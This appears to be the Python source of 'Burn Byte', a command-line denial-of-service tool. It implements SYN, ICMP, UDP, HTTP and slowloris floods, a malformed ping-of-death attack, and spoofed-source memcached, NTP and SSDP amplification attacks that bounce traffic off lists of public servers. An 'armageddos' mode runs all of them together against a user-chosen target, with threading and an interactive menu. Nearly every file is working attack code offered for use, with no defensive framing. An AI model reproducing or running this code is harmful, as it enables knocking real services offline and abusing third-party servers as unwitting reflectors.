text:
# Import modules
import sys
from time import time, sleep
from threading import Thread
from humanfriendly import format_timespan

# bin
from bin.crash import CriticalError
from bin.addons.banner import banner
from bin.addons.banner import methods_help
from bin.addons.ip_tools import GetTargetAddress, InternetConnectionCheck
from bin.addons.clean import clear

# rich lib
from rich.console import Console
from rich.progress import track

# Define styled print
print = Console().print

purple = "blue_violet"
red = "red3"
green = "green1"
pink = "magenta3"
light_blue = "dark_slate_gray2"
yellow = "yellow1"

def GetMethodByName(method):
    methods = [
        "syn",
        "slowloris",
        "http",
        "slowloris",
        "icmp",
        "memcached",
        "ntp",
        "udp",
        "ssdp",
        "armageddos",
    ]

    if method == "POD":
        dir = "bin.attacks.ping_of_death"
    elif method in methods:
        dir = f"bin.attacks.{method}"
    else:
        print(
            f"[{red} bold][✘] ERROR'[/{red} bold] "
            + f"[{yellow}]Unknown ddos method "
            + f"[{red}]{repr(method)}[/{red}] "
            + f"selected.[/{yellow}]"
        )
        methods_help()
        sys.exit(1)

    module = __import__(dir, fromlist=["object"])
    if hasattr(module, "flood"):
        method = getattr(module, "flood")
        return method
    else:
        CriticalError(
            f"Method 'flood' not found in {repr(dir)}. Please use python 3.8", "-"
        )

""" Class to control attack methods """

class AttackMethod:
    # Constructor
    def __init__(self, name, duration, threads, target, force):
        self.name = name
        self.duration = duration
        self.threads_count = threads
        self.target_name = target
        self.target = target
        self.threads = []
        self.is_running = False
        self.force = force

    # Enter
    def __enter__(self):
        if not InternetConnectionCheck():
            print(
                f"[{red}][!][{pink}] Your device is not connected to the Internet[/{red}]"
            )
            if not self.force: sys.exit(1) # if not on force mode, quit

        self.method = GetMethodByName(self.name)
        self.target = GetTargetAddress(self.target_name, self.name)
        return self

    # Exit
    def __exit__(self, exc_type, exc_val, exc_tb):
        print(
            f"[{green} bold][✔] SUCCESS[/{green} bold] "
            + f"[{purple}]Attack completed![/{purple}]"
        )

    # Run time checker
    def __RunTimer(self):
        __stopTime = time() + self.duration
        if self.duration != 0:
            while time() < __stopTime:
                if not self.is_running:
                    return
                sleep(1)
        else:
            while True:
                if not self.is_running:
                    return
                sleep(1)
        self.is_running = False

    # Run flooder
    def __RunFlood(self):
        while self.is_running:
            self.method(self.target)

    def __RunThreads(self) -> None:
        """
        Start and run Threads
        """
        thread = Thread(target=self.__RunTimer)
        thread.start()

        # Create flood threads
        for _ in track(
            range(self.threads_count),
            description=f"[{pink}]Creating {self.threads_count} threads...",
        ):
            thread = Thread(target=self.__RunFlood)
            self.threads.append(thread)

        # Start flood threads
        for thread in track(
            self.threads,
            description=f"[{pink}]Starting {self.threads_count} threads",
        ):
            thread.start()

        # Wait flood threads for stop
        for index, thread in enumerate(self.threads):
            thread.join()
            print(
                f"[{pink}][?][/{pink}] [{yellow}]Stopped thread {index + 1}[/{yellow}]"
            )

    # Start ddos attack
    def Start(self):
        target = str(self.target).strip("()").replace(", ", ":").replace("'", "")
        duration = format_timespan(self.duration)

        never = (
            f"[{red}]" + "N"
            f"[{yellow}]" + "E"
            f"[{green}]" + "V"
            f"[{purple}]" + "E"
            f"[{pink}]" + "R"
        )

        if self.duration != 0:
            print(
                f"[{pink} bold][?][/{pink} bold] "
                + f"[{light_blue}]Starting attack to[/{light_blue}] "
                + f"[{yellow}]{target} [{light_blue}]using method[/{light_blue}] "
                + f"{self.name}[/{yellow}].\n"
                ""
                f"[{pink} bold][?][/{pink} bold] "
                + f"[{light_blue}]Attack will be stopped after[/{light_blue}] [{pink}]{duration}[/{pink}]."
            )
        else:
            print(
                f"[{pink} bold][?][/{pink} bold] "
                + f"[{light_blue}]Starting attack to[/{light_blue}] [{yellow}]{target}[/{yellow}] "
                + f"[{light_blue}]using method[/{light_blue}] [{yellow}]{self.name}[/{yellow}].\n"
                f"[{pink} bold][?][/{pink} bold] "
                + f"[{light_blue}]Attack will be stopped after...[/{light_blue}] [b]{never}[/b]"
            )

        self.is_running = True
        try:
            self.__RunThreads()
        except KeyboardInterrupt:
            self.is_running = False
            print(
                f"\n[{red}][✘] ERROR[/{red}] "
                + f"[{yellow}]Ctrl+C detected. Stopping {self.threads_count} threads...[/{yellow}]"
            )
            print(f"[{yellow}]Please, wait for all threads stop[/{yellow}]")
            # Wait all threads for stop
            for thread in self.threads:
                thread.join()
            banner()
        except Exception as err:
            print(err)
            sleep(1.5)

            clear()
            banner()


text:
# Import modules
import os
import sys
import platform
from time import ctime
from rich.console import Console

# Define styled print
print = Console().print

purple = "blue_violet"
yellow = "yellow1"
red = "red3"

py_version = platform.python_version()
py_build = "{}, DATE: {}".format(*platform.python_build())
py_compiler = platform.python_compiler()
script_location = os.path.dirname(os.path.realpath(sys.argv[0]))
current_location = os.getcwd()

system = platform.system()
system_realese = platform.release()
system_version = platform.version()
system_architecture = {"{} {}".format(*platform.architecture())}
system_processor = platform.processor()
system_machine = platform.machine()
system_node = platform.node()
system_time = ctime()

def CriticalError(message, error) -> None:
    """
    This function will stop the program when a critical error occurs
    """
    print(
        f"""
    [{red}]:=== Critical error:"[/{red}]
    [{purple}]MESSAGE: {message}[/{purple}]
    [{purple}]ERROR: {error}[/{purple}]
    [{red}]:=== Python info:"[/{red}]
    [{purple}]PYTHON VERSION: {py_version}[/{purple}]
    [{purple}]PYTHON BUILD: {py_build}[/{purple}]
    [{purple}]PYTHON COMPILER: {py_compiler}[/{purple}]
    [{purple}]SCRIPT LOCATION: {script_location}[/{purple}]
    [{purple}]CURRENT LOCATION: {current_location}[/{purple}]
    [{red}]:=== System info:"[/{red}]
    [{purple}]SYSTEM: {system}[/{purple}]
    [{purple}]RELEASE: {system_realese}[/{purple}]
    [{purple}]VERSION: {system_version}[/{purple}]
    [{purple}]ARCHITECTURE: {system_architecture}[/{purple}]
    [{purple}]PROCESSOR: {system_processor}[/{purple}]
    [{purple}]MACHINE: {system_machine}[/{purple}]
    [{purple}]NODE: {system_node}[/{purple}]
    [{purple}]TIME: {system_time}[/{purple}]
    [{red}]:=== Report:"[/{red}]
    [{yellow}]Please report it here: https://github.com/R3tr074/BurnByte/issues/new"[/{yellow}]
    """
    )
    sys.exit(5)

repo_language: Python


text:
import random
from scapy.all import *
from scapy.layers.inet import *
from rich.console import Console
from bin.addons.utils import __path

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"
blue = "dark_slate_gray2"

payload = [
    "M-SEARCH * HTTP/1.1",
    "Host:239.255.255.250:1900",
    "ST:upnp:rootdevice",
    'Man:"ssdp:discover"',
    "MX:1",
    "",
]
sendpayload = "\r\n".join(payload)

with open(__path("bin", "config", "ssdp_servers.txt"), "r") as f:
    ssdp_servers = f.readlines()

def flood(target):
    src_port = random.randint(0, 65535)
    server = random.choice(ssdp_servers)
    server = server.replace("\n", "")
    try:
        send(
            IP(dst=server, src=target[0])
            / UDP(sport=src_port, dport=1900)
            / sendpayload,
            verbose=False,
        )
    except Exception as e:
        print(
            f"[{red}][✘] ERROR[/{red}] "
            + f"[{yellow}]While sending packget[/{yellow}]\n{e}"
        )
    else:
        print(
            f"[{green}][✔] SUCCESS[{green}] "
            + f"[{yellow}]Packget sent! send to:[/{yellow}] "
            + f"[{blue}]{server}"
        )


text:
# Import modules
from rich.console import Console
from scapy.all import IP, TCP, send, RandShort

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"
pink = "magenta3"

def flood(target) -> None:
    """
    Run icmp flood
    """

    packet = IP(dst=target[0]) / TCP(
        dport=target[1], flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
    )

    for i in range(4):
        try:
            send(packet, verbose=False)
        except Exception as e:
            print(f"[{red}][!] [{pink}]Error while sending 'ICMP'\n{e}[/{red}]")
        else:
            print(f"[{green}][+] [{yellow}]ICMP packet send to {target[0]} [/{green}]")


text:
from bin.attacks.http import flood as http
from bin.attacks.icmp import flood as icmp
from bin.attacks.memcached import flood as memcached
from bin.attacks.ntp import flood as ntp
from bin.attacks.ping_of_death import flood as ping_of_death
from bin.attacks.slowloris import flood as slowloris
from bin.attacks.ssdp import flood as ssdp
from bin.attacks.syn import flood as syn
from bin.attacks.udp import flood as udp

def flood(target) -> None:
    """
    Run armageddos flood
    """
    http(target)
    icmp(target)
    memcached(target)
    ping_of_death(target)
    slowloris(target)
    ssdp(target)
    syn(target)
    udp(target)


text:
# Import modules
import random
import socket
from rich.console import Console
from bin.addons.utils import random_useragent

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"
blue = "dark_slate_gray2"

# Init socket

def create_socket(target):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(4)
        sock.connect((target[0], target[1]))

        sock.send(
            "GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")
        )
        sock.send("User-Agent: {}\r\n".format(random_useragent()).encode("utf-8"))
        sock.send("{}\r\n".format("Accept-language: en-US,en,q=0.5").encode("utf-8"))

    except socket.timeout:
        print(f"[{red}][✘] ERROR[/{red}] [{yellow}]Timed out[/{yellow}]")
    except socket.error:
        print(f"[{red}][✘] ERROR[/{red}] [{yellow}]Failed create socket[/{yellow}]")
    else:
        print(f"[{green}][✔][/{green}] [{yellow}]Socket created...[/{yellow}]")
        return sock

def flood(target):
    # Create sockets
    sockets = []
    for _ in range(random.randint(20, 60)):
        sock = create_socket(target)
        if not sock:
            continue
        sockets.append(sock)
    # Send keep-alive headers
    for _ in range(4):
        for index, sock in enumerate(sockets):
            try:
                sock.send("X-a: {}\r\n".format(random.randint(1, 5000)).encode("utf-8"))
            except socket.error:
                print(
                    f"[{red}][✘] ERROR[/{red}] [{yellow}]Failed to send keep-alive headers[/{yellow}]"
                )
                sockets.remove(sock)
            else:
                header = "{}:{}".format(*target)
                print(
                    f"[{green} bold][✔] SUCCESS[/{green} bold] "
                    + f"[{yellow}]Sending keep-alive headers to[/{yellow}] "
                    + f"[{blue}]{header} [{yellow}]from socket {index + 1}.[/{yellow}]"
                )


text:
import random
from bin.addons.utils import random_IP
from scapy.layers.inet import ICMP, IP
from scapy.sendrecv import send
from rich.console import Console

# Define styled print
print = Console().print
red = "red3"
green = "green1"
pink = "magenta3"
yellow = "yellow1"
blue = "dark_slate_gray2"
__junk = list("1234567890qwertyuiopasdfghjklzxcvbnm")

def flood(target):
    rand_addr = random_IP()
    ip_hdr = IP(src=rand_addr, dst=target[0])
    junk_size = random.randrange(50000, 65535)
    packet = ip_hdr / ICMP() / (random.choice(__junk) * junk_size)
    for i in range(4):
        try:
            send(packet, verbose=False)
        except Exception as e:
            print(
                f"[{red} bold][✘] ERROR[/{red} bold] "
                + f"[{yellow}]While sending packget[/{yellow}]\n{e}"
            )
        else:
            print(
                f"[{green}][✔] SUCCESS[/{green}] "
                + f"[{yellow}]Packget send! Payload size:[/{yellow}] "
                + f"[{blue}]{junk_size}"
            )


text:
# Import modules
import random
from rich.console import Console
from scapy.all import IP, TCP, send
from bin.addons.utils import random_IP

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"
blue = "dark_slate_gray2"

def flood(target):
    IP_Packet = IP()
    IP_Packet.src = random_IP()
    IP_Packet.dst = target[0]

    TCP_Packet = TCP()
    TCP_Packet.sport = random.randint(1000, 10000)
    TCP_Packet.dport = target[1]
    TCP_Packet.flags = "S"
    TCP_Packet.seq = random.randint(1000, 10000)
    TCP_Packet.window = random.randint(1000, 10000)

    for _ in range(16):
        try:
            send(IP_Packet / TCP_Packet, verbose=False)
        except Exception as e:
            print(
                f"[{red} bold][✘] ERROR[/{red} bold] "
                + f"[{yellow}]while sending SYN packet[/{yellow}]\n{e}"
            )
        else:
            print(
                f"[{green}][✔] SUCCESS[/{green}] "
                + f"[{yellow}]SYN packet sent to[{yellow}] "
                + f"[{blue}]{'{}:{}'.format(*target)}"
            )


text:
# Import modules
import random
from rich.console import Console
from bin.addons.utils import __path
from scapy.all import IP, UDP, send, Raw

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"

# Load MEMCACHED servers list
with open(__path("bin", "config", "memcached_servers.txt"), "r") as f:
    memcached_servers = f.readlines()

# Payload
payload = "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n"

def flood(target):
    server = random.choice(memcached_servers)
    packets = random.randint(10, 150)
    server = server.replace("\n", "")
    # Packet
    try:
        packet = (
            IP(dst=server, src=target[0])
            / UDP(sport=target[1], dport=11211)
            / Raw(load=payload)
        )
        send(packet, count=packets, verbose=False)
    except Exception as e:
        print(f"[{red}]Error while sending forged UDP packet\n{e}[/{red}]")
    else:
        print(
            f"[{green}][+] [{yellow}]Sending {packets} forged UDP packets from memcached server {server} to {'{}:{}'.format(*target)}"
        )


text:
# Import modules
import random
from socket import gaierror
from rich.console import Console
from bin.addons.utils import __path
from scapy.all import IP, send, Raw, UDP

# Define styled print
print = Console().print
red = "red3"
green = "green1"
pink = "magenta3"
yellow = "yellow1"

# Load NTP servers list
with open(__path("bin", "config", "ntp_servers.txt"), "r") as f:
    ntp_servers = f.readlines()

# Payload
payload = "\x17\x00\x03\x2a" + "\x00" * 4

def flood(target):
    server = random.choice(ntp_servers)
    # Packet
    packets = random.randint(10, 150)
    server = server.replace("\n", "")

    try:
        packet = (
            IP(dst=server, src=target[0])
            / UDP(sport=random.randint(2000, 65535), dport=int(target[1]))
            / Raw(load=payload)
        )
        send(packet, count=packets, verbose=False)
    except gaierror:
        print(f"[{red}][!] [{pink}]NTP server {server} is offline![/{red}]")
    except Exception as e:
        print(f"[{red}]Error while sending NTP packet\n{e}[/{red}]")
    else:
        print(
            f"[{green}][+] [{yellow}]Sending {packets} packets from NTP server {server} to {'{}:{}'.format(*target)}.[/{green}]"
        )


text:
# Import modules
import random
import socket
from rich.console import Console

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"
blue = "dark_slate_gray2"

# Create socket
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

def flood(target):
    for _ in range(16):
        try:
            payload = random._urandom(random.randint(1, 60))
            sock.sendto(payload, (target[0], target[1]))
        except Exception as e:
            print(
                f"[{red} bold][✘] ERROR[/{red} bold] "
                + f"[{yellow}]while sending UDP packet[/{yellow}]\n{e}"
            )
        else:
            print(
                f"[{green}][✔] SUCCESS'[/{green}] "
                + f"[{yellow}]UDP random packet sent! Payload size:[/{yellow}] "
                + f"[{blue}]{len(payload)}"
            )


text:
import random
import requests
from rich.console import Console
from bin.addons.utils import random_useragent

# Define styled print
print = Console().print
red = "red3"
green = "green1"
yellow = "yellow1"

# Load user agents
user_agents = []
for _ in range(30):
    user_agents.append(random_useragent())

# Headers
headers = {
    "X-Requested-With": "XMLHttpRequest",
    "Connection": "keep-alive",
    "Pragma": "no-cache",
    "Cache-Control": "no-cache",
    "Accept-Encoding": "gzip, deflate, br",
    "User-agent": random.choice(user_agents),
}

def flood(target):
    payload = str(random._urandom(random.randint(10, 150)))
    try:
        r = requests.get(
            f"http://{target[0]}", params=payload, headers=headers, timeout=4
        )
    except requests.exceptions.ConnectTimeout:
        print(f"[{red} bold]✘ ERROR [/{red} bold][{yellow}]Timed out[/{yellow}]")
    except Exception as e:
        print(
            f"[{red} bold]✘ ERROR [/{red} bold] [{yellow}]While sending GET request[/{yellow}]"
        )
    else:
        print(
            f"[{green} bold][{r.status_code}][/{green} bold]"
            + f"[{yellow}]Request sent! Payload size: {len(payload)}[/{yellow}]"
        )


text:
import os

def clear():
    """
    Clear command line in multiplataform
    """
    if os.name == "nt":
        os.system("@cls & @title Burn Byte & @color e")
    else:
        os.system("clear")


text:
# Import modules
import os
import sys
import socket
import requests
import ipaddress
from time import sleep
from rich.console import Console
from urllib.parse import urlparse

console = Console()
print = console.print

red = "red3"
yellow = "yellow3"
pink = "magenta3"

def __isCloudFlare(link) -> bool:
    """
    Check if site is under CloudFlare protection
    """
    parsed_uri = urlparse(link)
    domain = "{uri.netloc}".format(uri=parsed_uri)
    try:
        origin = socket.gethostbyname(domain)
        iprange = requests.get("https://www.cloudflare.com/ips-v4").text
        ipv4 = [row.rstrip() for row in iprange.splitlines()]
        for i in range(len(ipv4)):
            if ipaddress.ip_address(origin) in ipaddress.ip_network(ipv4[i]):
                print(
                    f"[{red}][!] [{yellow}]The site is protected by CloudFlare, attacks may not produce results.[/{red}]"
                )
                sleep(1)
    except socket.gaierror:
        return False

def __GetAddressInfo(target: str) -> [str, int]:
    """
    Get ip and port to target
    """
    try:
        ip = target.split(":")[0]
        port = int(target.split(":")[1])
    except IndexError:
        print(f"[{red}][!] [{yellow}]You must enter ip and port[/{red}]")
        sys.exit(1)
    else:
        return ip, port

def __GetURLInfo(target) -> str:
    """
    get url for HTTP method
    """
    if not target.startswith("http"):
        target = f"http://{target}"
    return target

def GetTargetAddress(target: str, method: str) -> str:
    """
    Return target address
    """
    methods = [
        "POD",
        "syn",
        "slowloris",
        "http",
        "icmp",
        "memcached",
        "ntp",
        "udp",
        "ssdp",
        "armageddos",
    ]

    if method in methods and target.startswith("http"):
        parsed_uri = urlparse(target)
        domain = "{uri.netloc}".format(uri=parsed_uri)
        origin = socket.gethostbyname(domain)
        __isCloudFlare(domain)
        return origin, 80
    elif method in methods:
        return __GetAddressInfo(target)
    elif method == "http":
        url = __GetURLInfo(target)
        __isCloudFlare(url)
        return url
    else:
        return target

def InternetConnectionCheck() -> bool:
    """
    Test internet connection
    """
    response = -1
    if os.name == "nt":  # if is windows
        response = os.system(f"ping -n 1 google.com > NUL")
    else:
        response = os.system(f"ping -c 1 google.com > /dev/null 2>&1")
    return response == 0

def CheckTargetConnection(target: str) -> bool:
    """
    Test connection to target
    """
    response = -1
    if target.startswith("http"):
        target = target.split("//")[1]
    if target.find(":") != -1:
        target = target.split(":")[0]

    if os.name == "nt":  # if is windows
        response = os.system(f"ping -n 1 {target} > NUL")
    else:
        response = os.system(f"ping -c 1 {target} > /dev/null 2>&1")

    return response == 0


text:
from bin.addons.banner import *
from bin.addons.menu import menu

console = Console()
print = console.print

def arg_manager(
    argv: [str],
) -> {"threads": int, "target": str, "time": int, "method": str, "root": bool}:
    """
    Argument manager

    """
    arg_size = len(argv)

    if arg_size == 1:
        main_help()
        return 0

    target = "localhost:1212"
    threads = 3
    time = 10
    method = None
    force = False
    root = True

    for index, arg in enumerate(argv):
        if arg in ("-i", "--interactive"):
            target, method, threads, time, root = menu()
            break

        if arg in ("-f", "--force"):
            force = True

        if arg == "--no-root":
            root = False

        if arg in ("-h", "--help", "help"):
            main_help()
            return 0

        if arg in ("-u", "--target"):
            target = argv[index + 1]

        if arg in ("-t", "--threads"):
            try:
                threads = int(argv[index + 1])
                if threads < 1 or threads > 200:
                    print(
                        f"[{red}][✘] ERROR {threads} not is a valid value to threads flag, use 1 - 200[/{red}]"
                    )
                    return 1
            except:
                print(
                    f"[{red}][✘] ERROR {threads} not is a valid value to threads flag, use 1 - 200[/{red}]"
                )
                return 1
        if arg == "--banner":
            banner()
            return 0

        if arg == "--time":
            time = argv[index + 1]
            try:
                if int(time) < 0:
                    print(
                        f"[{red}][✘] ERROR {time} not is a valid value to time flag, use any value greater than 0[/{red}]"
                    )
                    return 1
            except:
                print(
                    f"[{red}][✘] ERROR {time} not is a valid value to time flag, use any value greater than 0[/{red}]"
                )
                return 1

        if arg in ("-m", "--method"):
            method = argv[index + 1]
            if method in ("help", "--help", "-h", "h"):
                methods_help()
                return 0
            elif method == "E-help":
                reference()
                return 0

    arg = {}
    arg["threads"] = threads
    arg["target"] = target
    arg["time"] = time
    arg["method"] = method
    arg["root"] = root

    return arg


text:
from rich.console import Console
from rich.table import Table
from rich.panel import Panel

# Define styled print
print = Console().print

# Define colors
orange = "orange1"
pink = "magenta3"
blue2 = "dodger_blue2"
blue3 = "blue3"
yellow = "yellow1"
red = "red3"
light_blue = "dark_slate_gray2"
green = "green1"

def banner() -> None:
    """
    print Burn Byte banner
    """
    print("    )                        )           )       ", style=pink)
    print(" ( /(    (   (            ( /(  (     ( /(   (   ", style=orange)
    print(
        f" )\())  [{pink}]))\  )([/{pink}]    (      )\()) )\ )  )\()) ))\  ",
        style=orange,
    )
    print(
        f"((_[{pink}])\  /((_)[/{pink}](()\   )\ )  ((_)\ (([{pink}])/( (_))/ /[/{pink}]((_) ",
        style=orange,
    )
    print(
        "| |"
        + f"[{orange}] (_)(_)[/{orange}]"
        + f"[{pink}])( ((_) _(_/([/{pink}]  "
        + f"| |[{pink}] (_) )( )  [/{pink}]"
        + f"| |[{pink}]_  (_))[/{pink}]",
        style=blue2,
    )
    print(
        f"[{blue2}]"
        + "| '_ \| || || '_|| ' \)) | '_ \| || ||  _|/ -_)  "
        + f"[/{blue2}]",
        style=blue2,
    )
    print("|_.__/ \_,_||_|  |_||_|  |_.__/ \_, | \__|\___|  ", style=blue3)
    print("                                |__/             ", style=blue3)
    print("Ready to burn some servers?                      ", style=red)
    print()

def main_help() -> None:
    """
    print global help message
    """
    banner()
    usage_complete = Panel(
        f"[{red}]./burn.py [/{red}]"
        + f"[{light_blue}]--target [/{light_blue}]"
        + f"[{pink}]<ip:port or url> [/{pink}]"
        + f"[{light_blue}]--method [/{light_blue}]"
        + f"[{pink}]<method or help> [/{pink}]"
        + f"[{green}]optionals...[/{green}]",
        expand=True,
        width=78,
    )
    usage_interactive = Panel(
        f"[{red}]./burn.py [/{red}]" + f"[{pink}]-i[/{pink}]",
        expand=True,
        width=17,
    )

    print(f"[{green}]Usage:[/{green}]")
    print(usage_complete)
    print(f"[{green}]Or this for interactive mode:[/{green}]")
    print(usage_interactive)

    table = Table(title="FLAGS", show_lines=False)
    table.add_column("flag", justify="right", style="cyan", no_wrap=True)
    table.add_column("what does", style="magenta")
    table.add_column("default", justify="right")
    table.add_column("required", justify="right")
    table.add_column("help", justify="right", style="green", no_wrap=True)

    table.add_row("--threads", "Threads count (1-200)", "3 threads", "No")
    table.add_row(
        "--time",
        "Time in seconds",
        "3 seconds",
        "No",
        f"set [{light_blue}]0[/{light_blue}] to infinite time",
    )
    table.add_row("--banner", "Print just the banner", "", "No")
    table.add_row(
        "--method",
        "Select the attack method",
        "",
        "Yes",
        f'accepts [{light_blue}]help[/{light_blue}] flag, "-m E-help"',
    )
    table.add_row(
        "--target",
        "Select the target",
        "",
        "Yes",
        f"https://web.com|web.com:80|127.0.0.1:22",
    )

    print(table)

def methods_help() -> None:
    """
    print methods help message
    """
    banner()
    table = Table(title="Attacks", show_lines=True)
    table.add_column("Attack type", justify="right", style="cyan", no_wrap=True)
    table.add_column("Description", style="green3")

    table.add_row(
        "POD", "Ping Of Death involves sending a malformed or otherwise malicious ping"
    )
    table.add_row(
        "http",
        "Http flood attack designed to overwhelm a targeted server with HTTP requests",
    )
    table.add_row(
        "slowloris",
        "Slowloris tries to keep many connections to the target web server open",
    )
    table.add_row(
        "syn",
        "SYN flooding is done by creating connections without closing them",
    )
    table.add_row(
        "icmp",
        'A ping flood is a simple attack that overwhelms the victim with ICMP "echo request" packets',
    )
    table.add_row(
        "memcached",
        "The attack spoofs requests to a vulnerable memcached UDP server",
    )
    table.add_row(
        "ntp",
        "The NTP amplification attack is a reflection-based volumetric distributed denial of service attack",
    )
    table.add_row(
        "udp",
        "A flood of UDP is carried out with a large number of requests with the user datagram protocol (UDP)",
    )
    table.add_row(
        "ssdp",
        "SSDP enabled network devices that are also accessible to UPnP from the internet are an easy source for generating SSDP amplification floods.",
    )
    table.add_row(
        f"[{yellow}]☢ [{red}]ARMAGEDDOS[/{red}] ☢[/{yellow}]",
        f"[bold]Armageddos uses all methods together in an attack.[/bold]",
    )
    print(table)

def reference() -> None:
    """
    print reference and indications
    """
    methods_help()
    print()
    print(f"[{blue2}]Links to learning[/{blue2}]")
    print("Burn Byte documentation:")
    print("https://www.burn-byte.tk")

"""
References:
  https://www.burn-byte.tk
"""


text:
import os
import sys
from simple_term_menu import *
from rich.console import Console
from bin.addons.banner import banner
from bin.addons.ip_tools import CheckTargetConnection

console = Console()

print = console.print
input = console.input

purple = "blue_violet"
blue = "turquoise2"
green = "green1"
light_blue = "dark_slate_gray2"
pink = "magenta3"
red = "red3"
yellow = "yellow1"

def menu() -> [str, str, int, int, bool]:
    """
    Spawn a interactive menu
    """
    banner()
    while True:
        target = input(
            f"[{purple}]Target([{green}]ip[{light_blue}]:[/{light_blue}]port[/{green}]/[{green}]url[/{green}]):[/{purple}] "
        )
        if target and not target.isspace():
            if not CheckTargetConnection(target):
                print(
                    f"[{red} bold]Error[/{red} bold][{light_blue}] to connect to the target, try againg[/{light_blue}]"
                )
            else:
                break

        else:
            print(f"[{red}]Please, this value cannot be null[/{red}]")

    attacks = {
        "[0] Ping of Death": "POD",
        "[1] HTTP Flood": "http",
        "[2] Slowloris": "slowloris",
        "[3] Syn Flood": "syn",
        "[4] Icmp Flood": "icmp",
        "[5] Memcached": "memcached",
        "[6] NTP Amplification": "ntp",
        "[7] UDP Flood": "udp",
        "[8] Ssdp Amplification": "ssdp",
        "[☠]  "
        + "\033[38;5;196m"
        + "ARMAGEDDOS "
        + "\033[0m "
        + "\033[38;5;11m"
        + "(DANGER)"
        + "\033[0m": "armageddos",
    }

    title = (
        "\033[38;5;92m"
        + "Method "
        + "\033[38;5;51m"
        + "[Use arrows to move]"
        + "\033[0m"
    )

    terminal_menu = TerminalMenu(attacks, title=title)
    menu_index = terminal_menu.show()

    for index, attack in enumerate(attacks):
        if index == menu_index:
            method = attacks[attack]
    print(f"[{yellow} bold]{method}[/{yellow} bold][{green}] method selected[/{green}]")

    while True:
        try:
            threads = input(
                f"[{purple}]Threads([{green}]Enter to default: [{light_blue}]3[/{light_blue}][/{green}]): "
            )
            if threads == "":
                break
            threads = int(threads)
            if threads >= 1 and threads <= 200:
                break
        except ValueError:
            print(f"[{red}]Please, enter a number between 1 and 200![/{red}]")

    while True:
        try:
            time = input(
                f"[{purple}]Time in seconds([{green}]Enter to default: [{light_blue}]10[/{light_blue}][{pink}]s[/{pink}][/{green}]): [/{purple}]"
            )
            if time == "":
                break
            time = int(time)
            if time >= 0:
                break
        except ValueError:
            print(f"[{red}]Please enter a number greater than 0![/{red}]")

    root = True
    for arg in sys.argv:
        if arg == "--no-root":
            root = False

    if threads == "":
        threads = 3

    if time == "":
        time = 10

    return target, method, threads, time, root


text:
import ctypes
import os
import json
import random

def __path(*args) -> str:
    """
    Get universal path
    """
    complete_path = args[0]
    if os.name == "nt":  # if is windows
        join = "\\"
    else:
        join = "/"

    for path in args:
        if args[0] == path:
            continue
        complete_path = complete_path + join + path
    return complete_path

def random_IP() -> str:
    """
    Get random IP
    """
    ip = []
    for _ in range(0, 4):
        ip.append(str(random.randint(1, 255)))
    return ".".join(ip)

def random_useragent() -> str:
    """
    Get random user agent
    """
    with open(__path("bin", "config", "user_agents.json"), "r") as agents:
        user_agents = json.load(agents)["agents"]
    return random.choice(user_agents)

def root_privileges() -> bool:
    """
    Check root privileges in multiplataform
    """
    try:
        is_admin = os.getuid() == 0
    except AttributeError:
        is_admin = ctypes.windll.shell32.IsUserAnAdmin() != 0
    return is_admin